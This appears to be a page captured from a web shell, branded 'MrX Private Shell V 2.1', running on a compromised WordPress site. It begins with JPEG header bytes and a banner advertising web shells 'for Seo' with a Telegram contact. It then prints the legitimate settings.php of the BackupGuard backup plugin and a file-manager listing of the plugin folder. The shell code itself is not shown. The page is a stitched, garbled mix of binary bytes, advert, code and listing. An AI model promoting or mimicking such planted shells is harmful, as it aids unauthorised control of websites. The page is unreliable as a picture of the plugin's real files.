����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
require_once(dirname(__FILE__).'/boot.php');
require_once(SG_PUBLIC_INCLUDE_PATH . '/header.php');
$isNotificationEnabled = SGConfig::get('SG_NOTIFICATIONS_ENABLED');
$userEmail = SGConfig::get('SG_NOTIFICATIONS_EMAIL_ADDRESS');
$isDeleteBackupAfterUploadEnabled = SGConfig::get('SG_DELETE_BACKUP_AFTER_UPLOAD');
$isDeleteBackupFromCloudEnabled = SGConfig::get('SG_DELETE_BACKUP_FROM_CLOUD');
$isDisabelAdsEnabled = SGConfig::get('SG_DISABLE_ADS');
$isDownloadViaPhp = SGConfig::get('SG_DOWNLOAD_VIA_PHP');
$isAlertBeforeUpdateEnabled = SGConfig::get('SG_ALERT_BEFORE_UPDATE');
$isShowStatisticsWidgetEnabled = SGConfig::get('SG_SHOW_STATISTICS_WIDGET');
$isReloadingsEnabled = SGConfig::get('SG_BACKUP_WITH_RELOADINGS');
$intervalSelectElement = array(
'1000'=>'1 second',
'2000'=>'2 seconds',
'3000'=>'3 seconds',
'5000'=>'5 seconds',
'7000'=>'7 seconds',
'10000'=>'10 seconds');
$selectedInterval = (int)SGConfig::get('SG_AJAX_REQUEST_FREQUENCY')?(int)SGConfig::get('SG_AJAX_REQUEST_FREQUENCY'):SG_AJAX_DEFAULT_REQUEST_FREQUENCY;
$backupFileNamePrefix = SGConfig::get('SG_BACKUP_FILE_NAME_PREFIX')?SGConfig::get('SG_BACKUP_FILE_NAME_PREFIX'):SG_BACKUP_FILE_NAME_DEFAULT_PREFIX;
$backupFileNamePrefix = esc_html($backupFileNamePrefix);
$infoIconHtml = '<span class="dashicons dashicons-editor-help sgbg-info-icon"></span>';
$sgBackgroundReloadMethod = SGConfig::get('SG_BACKGROUND_RELOAD_METHOD');
$ftpPassiveMode = SGConfig::get('SG_FTP_PASSIVE_MODE');
$contentClassName = getBackupPageContentClassName('settings');
$savedCloudUploadChunkSize = getCloudUploadChunkSize();
?>
<div id="sg-backup-page-content-settings" class="sg-backup-page-content <?php echo $contentClassName; ?>">
<div class="row sg-settings-container">
<div class="col-md-12">
<form class="form-horizontal" method="post" data-sgform="ajax" data-type="sgsettings">
<fieldset>
<div><h1 class="sg-backup-page-title"><?php _backupGuardT('General settings')?></h1></div>
<?php if (SGBoot::isFeatureAvailable('NOTIFICATIONS')): ?>
<div class="form-group">
<label class="col-md-4 sg-control-label">
<?php _backupGuardT('Email notifications'); ?><?php echo $infoIconHtml; ?>
<span class="infoSelectRepeat samefontStyle sgbg-info-text"><?php _backupGuardT('Enable notifications to receive status updates about your backup/restore processes.');?></span>
<?php if(!empty($userEmail)): ?>
<br/><span class="text-muted sg-user-email sg-helper-block"><?php echo esc_html($userEmail); ?></span>
<?php endif?>
</label>
<div class="col-md-3 text-left">
<label class="sg-switch-container">
<input type="checkbox" name="sgIsEmailNotification" class="sg-switch sg-email-switch" sgFeatureName="NOTIFICATIONS" <?php echo $isNotificationEnabled?'checked="checked"':''?> data-remote="settings">
</label>
</div>
</div>
<div class="sg-general-settings">
<div class="form-group">
<label class="col-md-4 sg-control-label" for="sg-email"><?php _backupGuardT('Enter email')?></label>
<div class="col-md-5">
<input id="sg-email" name="sgUserEmail" type="text" placeholder="<?php _backupGuardT('You can enter multiple emails, just separate them with comma')?>" class="form-control input-md sg-backup-input" value="<?php echo @$userEmail?>">
</div>
</div>
</div>
<?php endif; ?>
<div class="form-group">
<label class="col-md-4 sg-control-label">
<?php _backupGuardT('Reloads enabled'); ?><?php echo $infoIconHtml; ?>
<span class="infoSelectRepeat samefontStyle sgbg-info-text"><?php _backupGuardT('Enable chunked backup/restore. Recommended to avoid execution timeout errors.')?></span>
</label>
<div class="col-md-3 text-left">
<label class="sg-switch-container">
<input type="checkbox" name="backup-with-reloadings" class="sg-switch" <?php echo $isReloadingsEnabled?'checked="checked"':''?>>
</label>
</div>
</div>
<?php if (SGBoot::isFeatureAvailable('DELETE_LOCAL_BACKUP_AFTER_UPLOAD')): ?>
<div class="form-group">
<label class="col-md-4 sg-control-label">
<?php _backupGuardT('Delete local backup after upload'); ?><?php echo $infoIconHtml; ?>
<span class="infoSelectRepeat samefontStyle sgbg-info-text"><?php _backupGuardT('Delete your local copy of backup once it is successfully uploaded to the connected cloud.')?></span>
</label>
<div class="col-md-3 text-left">
<label class="sg-switch-container">
<input type="checkbox" name="delete-backup-after-upload" sgFeatureName="DELETE_LOCAL_BACKUP_AFTER_UPLOAD" class="sg-switch" <?php echo $isDeleteBackupAfterUploadEnabled?'checked="checked"':''?>>
</label>
</div>
</div>
<?php endif; ?>
<?php if (SGBoot::isFeatureAvailable('ALERT_BEFORE_UPDATE')): ?>
<div class="form-group">
<label class="col-md-4 sg-control-label">
<?php _backupGuardT('Alert before update'); ?><?php echo $infoIconHtml; ?>
<span class="infoSelectRepeat samefontStyle sgbg-info-text"><?php _backupGuardT('Receive an alert to backup you website prior to updateing installed plugins.')?></span>
</label>
<div class="col-md-3 text-left">
<label class="sg-switch-container">
<input type="checkbox" name="alert-before-update" sgFeatureName="ALERT_BEFORE_UPDATE" class="sg-switch" <?php echo $isAlertBeforeUpdateEnabled?'checked="checked"':''?>>
</label>
</div>
</div>
<?php endif; ?>
<?php if (SGBoot::isFeatureAvailable('BACKUP_DELETION_WILL_ALSO_DELETE_FROM_CLOUD')): ?>
<div class="form-group">
<label class="col-md-4 sg-control-label">
<?php _backupGuardT('Backup deletion will also delete from cloud'); ?><?php echo $infoIconHtml; ?>
<span class="infoSelectRepeat samefontStyle sgbg-info-text"><?php _backupGuardT('Deleting your local copy of backup will automatically remove it from the connected cloud as well.')?></span>
</label>
<div class="col-md-3 text-left">
<label class="sg-switch-container">
<input type="checkbox" name="delete-backup-from-cloud" sgFeatureName="BACKUP_DELETION_WILL_ALSO_DELETE_FROM_CLOUD" class="sg-switch" <?php echo $isDeleteBackupFromCloudEnabled?'checked="checked"':''?>>
</label>
</div>
</div>
<?php endif; ?>
<div class="form-group">
<label class="col-md-4 sg-control-label">
<?php _backupGuardT('Show statistics'); ?><?php echo $infoIconHtml; ?>
<span class="infoSelectRepeat samefontStyle sgbg-info-text"><?php _backupGuardT('Backup statistics available in the dashboard.')?></span>
</label>
<div class="col-md-3 text-left">
<label class="sg-switch-container">
<input type="checkbox" name="show-statistics-widget" class="sg-switch" <?php echo $isShowStatisticsWidgetEnabled?'checked="checked"':''?>>
</label>
</div>
</div>
<?php if (SGBoot::isFeatureAvailable('FTP')): ?>
<div class="form-group">
<label class="col-md-4 sg-control-label">
<?php _backupGuardT('FTP passive mode'); ?>
</label>
<div class="col-md-3 text-left">
<label class="sg-switch-container">
<input type="checkbox" name="ftp-passive-mode" sgFeatureName="FTP" class="sg-switch" <?php echo $ftpPassiveMode?'checked="checked"':''?>>
</label>
</div>
</div>
<?php endif; ?>
<?php if (SGBoot::isFeatureAvailable('MULTI_SCHEDULE')): ?>
<div class="form-group">
<label class="col-md-4 sg-control-label">
<?php _backupGuardT('Disable ads'); ?><?php echo $infoIconHtml; ?>
<span class="infoSelectRepeat samefontStyle sgbg-info-text"><?php _backupGuardT('Disable advertisements inside the plugin (e.g. banners)')?></span>
</label>
<div class="col-md-3 text-left">
<label class="sg-switch-container">
<input type="checkbox" name="sg-hide-ads" sgFeatureName="HIDE_ADS" class="sg-switch" <?php echo $isDisabelAdsEnabled?'checked="checked"':''?>>
</label>
</div>
</div>
<?php endif; ?>
<div class="form-group">
<label class="col-md-4 sg-control-label">
<?php _backupGuardT('Download via PHP'); ?><?php echo $infoIconHtml; ?>
<span class="infoSelectRepeat samefontStyle sgbg-info-text"><?php _backupGuardT('Download backup archive or log via PHP')?></span>
</label>
<div class="col-md-3 text-left">
<label class="sg-switch-container">
<input type="checkbox" name="sg-download-via-php" sgFeatureName="DOWNLOAD_VIA_PHP" class="sg-switch" <?php echo $isDownloadViaPhp?'checked="checked"':''?>>
</label>
</div>
</div>
<div class="form-group">
<label class="col-md-4 sg-control-label">
<?php _backupGuardT('Send usage data'); ?><?php echo $infoIconHtml; ?>
<span class="infoSelectRepeat samefontStyle sgbg-info-text"><?php _backupGuardT('Allow us to receive usage data in order to improve plugin functionality')?></span>
</label>
<div class="col-md-3 text-left">
<label class="sg-switch-container">
<input type="checkbox" name="backup-send-usage-data-status" class="sg-switch backup-send-usage-data-status" <?php echo $allowDataCollection?'checked="checked"':''?>>
</label>
</div>
</div>
<div class="form-group">
<label class="col-md-4 sg-control-label" for='sg-paths-to-exclude'>
<?php _backupGuardT("Exclude paths (separated by commas)")?>
</label>
<div class="col-md-5 text-left">
<input class="form-control sg-backup-input" id='sg-paths-to-exclude' name='sg-paths-to-exclude' type="text" value="<?php echo SGConfig::get('SG_PATHS_TO_EXCLUDE')?SGConfig::get('SG_PATHS_TO_EXCLUDE'):''?>" placeholder="e.g. wp-content/cache, wp-content/w3tc-cache">
</div>
</div>
<div class="form-group">
<label class="col-md-4 sg-control-label" for='sg-tables-to-exclude'>
<?php _backupGuardT("Tables to exclude (separated by commas)")?>
</label>
<div class="col-md-5 text-left">
<input class="form-control sg-backup-input" id='sg-tables-to-exclude' name='sg-tables-to-exclude' type="text" value="<?php echo SGConfig::get('SG_TABLES_TO_EXCLUDE')?SGConfig::get('SG_TABLES_TO_EXCLUDE'):''?>" placeholder="e.g. wp_comments, wp_commentmeta">
</div>
</div>
<?php if (SGBoot::isFeatureAvailable('NUMBER_OF_BACKUPS_TO_KEEP')): ?>
<div class="form-group">
<label class="col-md-4 sg-control-label" for='amount-of-backups-to-keep'>
<?php _backupGuardT("Backup retention")?><?php echo $infoIconHtml; ?>
<span class="infoSelectRepeat samefontStyle sgbg-info-text"><?php _backupGuardT('Choose number of backups to keep on the website. Each additional backup will replace the oldest backup file')?></span>
</label>
<div class="col-md-5 text-left">
<input class="form-control sg-backup-input" id='amount-of-backups-to-keep' name='amount-of-backups-to-keep' type="text" value="<?php echo (int)SGConfig::get('SG_AMOUNT_OF_BACKUPS_TO_KEEP')?(int)SGConfig::get('SG_AMOUNT_OF_BACKUPS_TO_KEEP'):SG_NUMBER_OF_BACKUPS_TO_KEEP?>" <?php echo (!SGBoot::isFeatureAvailable('NUMBER_OF_BACKUPS_TO_KEEP'))? 'disabled' : '' ?>>
</div>
</div>
<?php endif; ?>
<div class="form-group">
<label class="col-md-4 sg-control-label" for='sg-number-of-rows-to-backup'>
<?php _backupGuardT("Number of rows to backup at once")?><?php echo $infoIconHtml; ?>
<span class="infoSelectRepeat samefontStyle sgbg-info-text"><?php _backupGuardT('Choose the number of row during the Databases backup in order not to overload your RAM.')?></span>
</label>
<div class="col-md-5 text-left">
<input class="form-control sg-backup-input" id='sg-number-of-rows-to-backup' name='sg-number-of-rows-to-backup' type="text" value="<?php echo (int)SGConfig::get('SG_BACKUP_DATABASE_INSERT_LIMIT')?(int)SGConfig::get('SG_BACKUP_DATABASE_INSERT_LIMIT'):SG_BACKUP_DATABASE_INSERT_LIMIT?>">
</div>
</div>
<div class="form-group">
<label class="col-md-4 sg-control-label" for='sg-number-of-rows-to-backup'>
<?php _backupGuardT("Upload to cloud chunk size")?><?php echo $infoIconHtml; ?>
<span class="infoSelectRepeat samefontStyle sgbg-info-text"><?php _backupGuardT('Change the size of the chunk upload during backup to cloud(s).')?></span>
</label>
<div class="col-md-5 text-left">
<select class="form-control" id='sg-upload-cloud-chunk-szie' name='sg-upload-cloud-chunk-size'>
<option value="4" <?php echo $savedCloudUploadChunkSize == 4 ? "selected" : "" ?> >4MB</option>
<option value="8" <?php echo $savedCloudUploadChunkSize == 8 ? "selected" : "" ?> >8MB</option>
<option value="16" <?php echo $savedCloudUploadChunkSize == 16 ? "selected" : "" ?> >16MB</option>
<option value="32" <?php echo $savedCloudUploadChunkSize == 32 ? "selected" : "" ?> >32MB</option>
</select>
</div>
</div>
<div class="form-group">
<label class="col-md-4 sg-control-label" for='sg-background-reload-method'>
<?php _backupGuardT("Reload method")?><?php echo $infoIconHtml; ?>
<span class="infoSelectRepeat samefontStyle sgbg-info-text"><?php _backupGuardT('Choose the right PHP Library for reloads')?></span>
</label>
<div class="col-md-5 text-left">
<select class="form-control" id='sg-background-reload-method' name='sg-background-reload-method'>
<option value="<?php echo SG_RELOAD_METHOD_CURL ?>" <?php echo $sgBackgroundReloadMethod == SG_RELOAD_METHOD_CURL ? "selected" : "" ?> >Curl</option>
<option value="<?php echo SG_RELOAD_METHOD_STREAM ?>" <?php echo $sgBackgroundReloadMethod == SG_RELOAD_METHOD_STREAM ? "selected" : "" ?> >Stream</option>
<option value="<?php echo SG_RELOAD_METHOD_SOCKET ?>" <?php echo $sgBackgroundReloadMethod == SG_RELOAD_METHOD_SOCKET ? "selected" : "" ?> >Socket</option>
</select>
</div>
</div>
<?php if (SGBoot::isFeatureAvailable('CUSTOM_BACKUP_NAME')): ?>
<div class="form-group">
<label class="col-md-4 sg-control-label">
<?php _backupGuardT('Backup file name')?><?php echo $infoIconHtml; ?>
<span class="infoSelectRepeat samefontStyle sgbg-info-text"><?php _backupGuardT('Name your backups or leave to the default prefixes')?></span>
</label>
<div class="col-md-5 text-left">
<input id="backup-file-name" name="backup-file-name" type="text" class="form-control input-md sg-backup-input" value="<?php echo $backupFileNamePrefix?>" <?php echo (!SGBoot::isFeatureAvailable('CUSTOM_BACKUP_NAME'))? 'disabled' : '' ?>>
</div>
</div>
<?php endif; ?>
<div class="form-group">
<label class="col-md-4 sg-control-label" for="sg-email">
<?php _backupGuardT('Request frequency')?>
</label>
<div class="col-md-5">
<?php echo selectElement($intervalSelectElement, array('id'=>'sg-ajax-interval', 'name'=>'ajaxInterval', 'class'=>'form-control'), '', $selectedInterval);?>
</div>
</div>
<div class="form-group">
<label class="col-md-4"><?php _backupGuardT('Backup destination path'); ?></label>
<div class="col-md-6">
<span><?php echo str_replace(realpath(SG_APP_ROOT_DIRECTORY).'/', "" ,realpath(SG_BACKUP_DIRECTORY)); ?></span>
</div>
</div>
<div class="form-group">
<label class="col-md-4 control-label" for="button1id"></label>
<div class="col-md-5 text-right">
<button type="button" id="sg-save-settings" class="btn btn-success" onclick="sgBackup.sgsettings();"><?php _backupGuardT('Save')?></button>
</div>
</div>
</fieldset>
</form>
</div>
</div>
</div>| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| ajax | Folder | 0755 |
|
|
| config | Folder | 0755 |
|
|
| cron | Folder | 0755 |
|
|
| css | Folder | 0755 |
|
|
| fonts | Folder | 0755 |
|
|
| img | Folder | 0755 |
|
|
| include | Folder | 0755 |
|
|
| js | Folder | 0755 |
|
|
| templates | Folder | 0755 |
|
|
| backups.php | File | 13.46 KB | 0644 |
|
| boot.php | File | 180 B | 0644 |
|
| cloud.php | File | 14.66 KB | 0644 |
|
| dashboardWidget.php | File | 3.16 KB | 0644 |
|
| pagesContent.php | File | 1.29 KB | 0644 |
|
| proFeatures.php | File | 6.25 KB | 0644 |
|
| restore_wordpress.php | File | 7.49 KB | 0644 |
|
| schedule.php | File | 14.54 KB | 0644 |
|
| security.php | File | 260 B | 0644 |
|
| services.php | File | 3.79 KB | 0644 |
|
| settings.php | File | 20.2 KB | 0644 |
|
| support.php | File | 314 B | 0644 |
|
| systemInfo.php | File | 5.9 KB | 0644 |
|
| videoTutorials.php | File | 638 B | 0644 |
|